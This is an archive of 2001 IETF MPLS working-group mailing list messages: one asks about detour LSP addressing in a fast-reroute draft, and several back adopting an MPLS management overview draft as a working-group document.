Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9HIfLs15419;
	Wed, 17 Oct 2001 20:41:22 +0200 (MET DST)
To: mpls@UU.NET
Cc: brockmas@se.bel.alcatel.be
Subject: draft-gan-fast-reroute
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF72366288.DE966D3C-ONC1256AE8.00662CD7@net.alcatel.be>
Date: Wed, 17 Oct 2001 20:41:20 +0200
X-MIMETrack: Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 10/17/2001 20:41:21,
	Serialize complete at 10/17/2001 20:41:21
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 0066A536C1256AE8_="
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format.
--=_alternative 0066A536C1256AE8_=
Content-Type: text/plain; charset="us-ascii"

Hello,

I have a question on the establishment of the detour LSP in 
<draft-gan-fast-reroute>.
 
       Node1 ====> Node2 ======> Node3 =====> Node4 ======> node 5
                      v                       ^ 
                      |                       | 
                      +-----------------------+ 

Consider the detour from node 2 to node 4. Which IP address does node 2 
use as the destination IP address of the PATH message to establish the 
detour LSP to node 4:
* An IP address of node 4
OR
* the same destination IP address as the PATH message for the main LSP (== 
an IP address of node 5)
OR
* still another IP address?

Thanks for any help you can provide,

        Francis.
--=_alternative 0066A536C1256AE8_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Hello,</font>
<br>
<br><font size=2 face="sans-serif">I have a question on the establishment of the detour LSP in &lt;draft-gan-fast-reroute&gt;.</font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; </font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp;Node1 ====&gt; Node2 ======&gt; Node3 =====&gt; Node4 ======&gt; node 5</font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ &nbsp; </font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; </font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +-----------------------+ &nbsp; </font>
<br>
<br><font size=2 face="sans-serif">Consider the detour from node 2 to node 4. Which IP address does node 2 use as the destination IP address of the PATH message to establish the detour LSP to node 4:</font>
<br><font size=2 face="sans-serif">* An IP address of node 4</font>
<br><font size=2 face="sans-serif">OR</font>
<br><font size=2 face="sans-serif">* the same destination IP address as the PATH message for the main LSP (== an IP address of node 5)</font>
<br><font size=2 face="sans-serif">OR</font>
<br><font size=2 face="sans-serif">* still another IP address?</font>
<br>
<br><font size=2 face="sans-serif">Thanks for any help you can provide,</font>
<br>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Francis.</font>
--=_alternative 0066A536C1256AE8_=--


From owner-mpls@UU.NET  Wed Oct 17 15:30:33 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05011
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 15:30:32 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlleb13848;
	Wed, 17 Oct 2001 19:27:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlleb05870
	for mpls-outgoing; Wed, 17 Oct 2001 19:26:56 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlleb05858
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 19:26:51 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlleb11077
	for <mpls@UU.NET>; Wed, 17 Oct 2001 19:26:30 GMT
Received: from pulsar.chromisys.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: 200-139.adsl6.netlojix.net [207.71.200.139] (may be forged))
	id QQlleb12247
	for <mpls@UU.NET>; Wed, 17 Oct 2001 19:26:46 GMT
Received: by pulsar.chromisys.com with Internet Mail Service (5.5.2653.19)
	id <SV41KHDN>; Wed, 17 Oct 2001 12:21:17 -0700
Message-ID: <C12BBE1C7A8F7344808CD8C2A345DFB84558E3@pulsar.chromisys.com>
From: Jonathan Lang <jplang@calient.net>
To: "'Thomas Nadeau'" <tnadeau@cisco.com>, mpls@UU.NET
Cc: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>,
        Scott Bradner
	 <sob@harvard.edu>, Rob Coltun <rcoltun@redback.com>,
        abha ahuja
	 <ahuja@umich.edu>, George Swallow <swallow@cisco.com>,
        Vijay Srinivasan
	 <vijay@cosinecom.com>, swallow@cisco.com,
        cheenu@alphion.com, afarrel@movaz.com
Subject: RE: draft-nadeau-mpls-mgmt-overview-00.txt
Date: Wed, 17 Oct 2001 12:21:10 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15740.E0E12720"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15740.E0E12720
Content-Type: text/plain;
	charset="iso-8859-1"

I think this is a good idea and I support this as an MPLS WG document.
 
-Jonathan

-----Original Message-----
From: Thomas Nadeau [mailto:tnadeau@cisco.com]
Sent: Wednesday, October 17, 2001 10:38 AM
To: mpls@UU.NET
Cc: Wijnen, Bert (Bert); Scott Bradner; Rob Coltun; abha ahuja; George
Swallow; Vijay Srinivasan; swallow@cisco.com; cheenu@alphion.com;
afarrel@movaz.com
Subject: draft-nadeau-mpls-mgmt-overview-00.txt



        Hi,

        I would like to propose that draft-nadeau-mpls-mgmt-overview-00.txt
be accepted as an MPLS WG draft. This draft was specifically
asked for by Bert Wijnen, one of the ADs for MPLS, in an effort
to consolidate the information about MPLS-related MIBs in one
place. 

        --Tom




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 


------_=_NextPart_001_01C15740.E0E12720
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D577472119-17102001>I=20
think this is a good idea and I&nbsp;support this as an MPLS WG=20
document.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D577472119-17102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D577472119-17102001>-Jonathan</SPAN></FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau=20
  [mailto:tnadeau@cisco.com]<BR><B>Sent:</B> Wednesday, October 17, =
2001 10:38=20
  AM<BR><B>To:</B> mpls@UU.NET<BR><B>Cc:</B> Wijnen, Bert (Bert); Scott =
Bradner;=20
  Rob Coltun; abha ahuja; George Swallow; Vijay Srinivasan; =
swallow@cisco.com;=20
  cheenu@alphion.com; afarrel@movaz.com<BR><B>Subject:</B>=20
  draft-nadeau-mpls-mgmt-overview-00.txt<BR><BR></DIV></FONT><FONT=20
  =
size=3D3><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-=
TAB>Hi,<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</=
X-TAB>I=20
  would like to propose that =
draft-nadeau-mpls-mgmt-overview-00.txt<BR>be=20
  accepted as an MPLS WG draft. This draft was specifically<BR>asked =
for by Bert=20
  Wijnen, one of the ADs for MPLS, in an effort<BR>to consolidate the=20
  information about MPLS-related MIBs in one<BR>place.=20
  =
<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>-=
-Tom<BR></FONT><BR><BR><BR>
  =
<DIV>-------------------------------------------------------------------=
-----</DIV>Mathematics=20
  is the supreme nostalgia of our time. </BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C15740.E0E12720--


From owner-mpls@UU.NET  Wed Oct 17 15:34:14 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05137
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 15:34:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlleb16399;
	Wed, 17 Oct 2001 19:24:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlleb05689
	for mpls-outgoing; Wed, 17 Oct 2001 19:23:36 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlleb05684
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 19:23:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlleb16269
	for <mpls@UU.NET>; Wed, 17 Oct 2001 19:19:55 GMT
Received: from cosds003.continuumnetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [12.41.184.243])
	id QQlleb08689
	for <mpls@UU.NET>; Wed, 17 Oct 2001 19:20:10 GMT
Received: from FARILJCS ([12.41.186.42]) by
          cosds003.continuumnetworks.com (Netscape Messaging Server 4.15)
          with SMTP id GLD70P00.4LH; Wed, 17 Oct 2001 13:19:37 -0600 
Reply-To: <john.strassner@intelliden.com>
From: "John Strassner" <john.strassner@intelliden.com>
To: "Yanhe Fan" <yfan@axiowave.com>, "'Thomas Nadeau'" <tnadeau@cisco.com>,
        <mpls@UU.NET>
Subject: RE: draft-nadeau-mpls-mgmt-overview-00.txt
Date: Wed, 17 Oct 2001 13:19:36 -0600
MIME-Version: 1.0
Message-ID: <FCEKLEHMPIHFNLCMKHAMKEANCNAA.john.strassner@intelliden.com>
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Content-Type: multipart/signed;
	protocol="application/x-pkcs7-signature";
	micalg=SHA1;
	boundary="----=_NextPart_000_0049_01C1570E.5E52AE00"
Importance: Normal
In-Reply-To: <EB5FFC72F183D411B3820006295734298CBF32@r2d2.axiowave.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0049_01C1570E.5E52AE00
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_004A_01C1570E.5E52AE00"


------=_NextPart_001_004A_01C1570E.5E52AE00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

I also support making this a wg draft.

regards,
John
  -----Original Message-----
  From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Yanhe Fan
  Sent: Wednesday, October 17, 2001 11:52 AM
  To: 'Thomas Nadeau'; mpls@UU.NET
  Subject: RE: draft-nadeau-mpls-mgmt-overview-00.txt


  I second it.

  Yanhe
    -----Original Message-----
    From: Thomas Nadeau [mailto:tnadeau@cisco.com]
    Sent: Wednesday, October 17, 2001 1:38 PM
    To: mpls@UU.NET
    Cc: Wijnen, Bert (Bert); Scott Bradner; Rob Coltun; abha ahuja; George
Swallow; Vijay Srinivasan; swallow@cisco.com; cheenu@alphion.com;
afarrel@movaz.com
    Subject: draft-nadeau-mpls-mgmt-overview-00.txt



            Hi,

            I would like to propose that
draft-nadeau-mpls-mgmt-overview-00.txt
    be accepted as an MPLS WG draft. This draft was specifically
    asked for by Bert Wijnen, one of the ADs for MPLS, in an effort
    to consolidate the information about MPLS-related MIBs in one
    place.

            --Tom




    ----------------------------------------------------------------------
--
    Mathematics is the supreme nostalgia of our time.

------=_NextPart_001_004A_01C1570E.5E52AE00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D363231919-17102001><FONT face=3DArial color=3D#0000ff =
size=3D2>I also=20
support making this a wg draft.</FONT></SPAN></DIV>
<DIV><SPAN class=3D363231919-17102001><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D363231919-17102001><FONT face=3DArial color=3D#0000ff =

size=3D2>regards,</FONT></SPAN></DIV>
<DIV><SPAN class=3D363231919-17102001><FONT face=3DArial color=3D#0000ff =

size=3D2>John</FONT></SPAN></DIV>
<BLOCKQUOTE dir=3Dltr style=3D"MARGIN-RIGHT: 0px">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> owner-mpls@UU.NET=20
  [mailto:owner-mpls@UU.NET]<B>On Behalf Of </B>Yanhe =
Fan<BR><B>Sent:</B>=20
  Wednesday, October 17, 2001 11:52 AM<BR><B>To:</B> 'Thomas Nadeau';=20
  mpls@UU.NET<BR><B>Subject:</B> RE:=20
  draft-nadeau-mpls-mgmt-overview-00.txt<BR><BR></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN =
class=3D140255217-17102001>I=20
  second it.</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D140255217-17102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D140255217-17102001>Yanhe</SPAN></FONT></DIV>
  <BLOCKQUOTE>
    <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau=20
    [mailto:tnadeau@cisco.com]<BR><B>Sent:</B> Wednesday, October 17, =
2001 1:38=20
    PM<BR><B>To:</B> mpls@UU.NET<BR><B>Cc:</B> Wijnen, Bert (Bert); =
Scott=20
    Bradner; Rob Coltun; abha ahuja; George Swallow; Vijay Srinivasan;=20
    swallow@cisco.com; cheenu@alphion.com; =
afarrel@movaz.com<BR><B>Subject:</B>=20
    draft-nadeau-mpls-mgmt-overview-00.txt<BR><BR></DIV></FONT><FONT=20
    =
size=3D3><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-T=
AB>Hi,<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-=
TAB>I=20
    would like to propose that =
draft-nadeau-mpls-mgmt-overview-00.txt<BR>be=20
    accepted as an MPLS WG draft. This draft was specifically<BR>asked =
for by=20
    Bert Wijnen, one of the ADs for MPLS, in an effort<BR>to consolidate =
the=20
    information about MPLS-related MIBs in one<BR>place.=20
    =
<BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>--=
Tom<BR></FONT><BR><BR><BR>
    =
<DIV>--------------------------------------------------------------------=
----</DIV>Mathematics=20
    is the supreme nostalgia of our time. =
</BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------=_NextPart_001_004A_01C1570E.5E52AE00--

------=_NextPart_000_0049_01C1570E.5E52AE00
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIII9jCCApQw
ggH9oAMCAQICAwSkbzANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsT
FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAw
MC44LjMwMB4XDTAxMDQxOTE5MjY0NFoXDTAyMDQxOTE5MjY0NFowTzEfMB0GA1UEAxMWVGhhd3Rl
IEZyZWVtYWlsIE1lbWJlcjEsMCoGCSqGSIb3DQEJARYdam9obi5zdHJhc3NuZXJAaW50ZWxsaWRl
bi5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKOQF9xvr2IzkspSZ5NHATzu64yNJl1D
NVVu08Upy0q/Dvfm0/dWVRc/sg09Tr1seHcVLIjAlY6QWFJsPf5tuglzSuMPy+6bGj/mI3KSXpte
dhD5o33qc0oBnIOyn+PuqW7fpWjIJwM2MNCLr7gG1IjrchggMput4b5jq2M3zXxJAgMBAAGjOjA4
MCgGA1UdEQQhMB+BHWpvaG4uc3RyYXNzbmVyQGludGVsbGlkZW4uY29tMAwGA1UdEwEB/wQCMAAw
DQYJKoZIhvcNAQEEBQADgYEAtHVVEjLYbfAxqW9D1GxSpZYh7kWX/em+JcgXrxFom6kU3wgCrluP
F0Ce97vS4VX/TTs9x9b9YUONsEi8kqN5XLY3995FwnFgT+s2ZVljKNFoCgk4COQJ3OS2l/bZWFRc
xgR4auC8sLZmE2oxtOm1cigZMhbT8ZnKvWuBN/8q2tUwggMpMIICkqADAgECAgEMMA0GCSqGSIb3
DQEBBAUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlD
YXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0
aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwg
Q0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMw
MDAwMDAwWhcNMDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4g
Q2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRp
ZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNEKYpj
NSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu2HL5ugL2
17CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQABo04wTDApBgNV
HREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0TAQH/BAgwBgEB/wIB
ADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0S1liiu1EvknH6A27j7kN
aiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHCCafvS65y3QZn9VBvLli4tgvB
UFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+plrgFPFL83eliA0gwggMtMIIClqAD
AgECAgEAMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBD
YXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYD
VQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVy
c29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0
ZS5jb20wHhcNOTYwMTAxMDAwMDAwWhcNMjAxMjMxMjM1OTU5WjCB0TELMAkGA1UEBhMCWkExFTAT
BgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUg
Q29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIG
A1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25h
bC1mcmVlbWFpbEB0aGF3dGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUadfUsJRk
W3HpR9gMUbbqcpGwhF59LQ2PexLfhSV1KHQ6QixjJ5+Ve0vvfhmHHYbqo925zpZkGsIUbkSsfOaP
6E0PcR9AOKYAo4d49vmUhl6t6sBeduvZFKNdbnp8DKVLVX8GGSl/npom1Wq7OCQIapjHsdqjmJH9
edvlWsQcuQIDAQABoxMwETAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBBAUAA4GBAMfskn5O
+PWWpWdiKqTwTRFg0G+NYFhhrCa7UjVcCM8w+6hKloofYkIjjBcP9LpknBesRynfnZhe0mxgcVyi
rNx54+duAEcftQ0o6AKd5Jr9E/Sm2Xyx+NxfIyYJkYBz0BQb3kOpgyXy5pwvFcr+pquKB3WLDN1R
hGvk+NHOd6KBMYICqjCCAqYCAQEwgZowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0
aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4z
MAIDBKRvMAkGBSsOAwIaBQCgggFlMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcN
AQkFMQ8XDTAxMTAxNzE5MTkzNlowIwYJKoZIhvcNAQkEMRYEFB5Ym8B4ts84xrECjUIctq5P6Qyh
MFgGCSqGSIb3DQEJDzFLMEkwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIHMA0G
CCqGSIb3DQMCAgEoMAcGBSsOAwIaMAoGCCqGSIb3DQIFMIGrBgkrBgEEAYI3EAQxgZ0wgZowgZIx
CzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEP
MA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMf
UGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAIDBKRvMA0GCSqGSIb3DQEBAQUABIGAjDyp
A9/Y58GkEyoVOCldbD/HP90Dokn2K54iWH/UR28ilQ+lFkbNij5OZjirMkMqJrwlgawfs0GU6BBX
LWNPvLAPgkuJeb/fWJDQk5Q6GhzBrm2m3AlYhIFLPAk9AeZnzYswfIf9BkDwDyddU5qQxceXt8ni
0PUfz9ju7tUBDkgAAAAAAAA=

------=_NextPart_000_0049_01C1570E.5E52AE00--



From owner-mpls@UU.NET  Wed Oct 17 15:44:59 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05541
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 15:44:58 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllec24731;
	Wed, 17 Oct 2001 19:43:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllec06640
	for mpls-outgoing; Wed, 17 Oct 2001 19:42:59 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllec06635
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 19:42:58 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllec13183
	for <mpls@UU.NET>; Wed, 17 Oct 2001 19:41:40 GMT
Received: from relay1.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQllec05645
	for <mpls@UU.NET>; Wed, 17 Oct 2001 19:41:49 GMT
Received: from bemail05.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with SMTP id f9HJdbA20704;
	Wed, 17 Oct 2001 21:39:37 +0200 (MET DST)
Received: from alcatel.be ([138.203.67.90]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7  (934.1 12-30-1999)) with SMTP id C1256AE8.006BF6AF; Wed, 17 Oct 2001 21:39:15 +0200
Message-ID: <3BCDDE5E.BF933EA8@alcatel.be>
Date: Wed, 17 Oct 2001 21:39:10 +0200
From: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
Organization: Alcatel Bell - IPO NA (NSG)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Nadeau <tnadeau@cisco.com>
CC: mpls@UU.NET, "Wijnen, Bert (Bert)" <bwijnen@lucent.com>,
        Scott Bradner <sob@harvard.edu>, Rob Coltun <rcoltun@redback.com>,
        abha ahuja <ahuja@umich.edu>, George Swallow <swallow@cisco.com>,
        Vijay Srinivasan <vijay@cosinecom.com>, cheenu@alphion.com,
        afarrel@movaz.com
Subject: Re: draft-nadeau-mpls-mgmt-overview-00.txt
References: <Your message of "Tue, 14 Aug 2001 22:54:44 +0200." <2413FED0DFE6D111B3F90008C7FA61FB0D3DA418@nl0006exch002u.nl.lucent.com> <4.3.2.7.2.20011017131848.01a42638@bucket.cisco.com>
Content-Type: multipart/mixed;
 boundary="------------5313390BFCB622C7244F1CAC"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------5313390BFCB622C7244F1CAC
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

This document is a valuable piece of work.
I support the proposal to accept it as WG document.

- dimitri.

Thomas Nadeau wrote:
> 
>         Hi,
> 
>         I would like to propose that
> draft-nadeau-mpls-mgmt-overview-00.txt
> be accepted as an MPLS WG draft. This draft was specifically
> asked for by Bert Wijnen, one of the ADs for MPLS, in an effort
> to consolidate the information about MPLS-related MIBs in one
> place.
> 
>         --Tom
> 
> ------------------------------------------------------------------------
> Mathematics is the supreme nostalgia of our time.
--------------5313390BFCB622C7244F1CAC
Content-Type: text/x-vcard; charset=us-ascii;
 name="dimitri.papadimitriou.vcf"
Content-Description: Card for Dimitri Papadimitriou
Content-Disposition: attachment;
 filename="dimitri.papadimitriou.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Dimitri;Papadimitriou Dimitri
tel;home:+32 2 3434361
tel;work:+32 3 2408491
x-mozilla-html:FALSE
url:http://www.alcatel.com
org:Alcatel Bell;IPO NA (NSG) - Antwerpen 
version:2.1
email;internet:dimitri.papadimitriou@alcatel.be
title:Optical Networking R&S - Senior Engineer
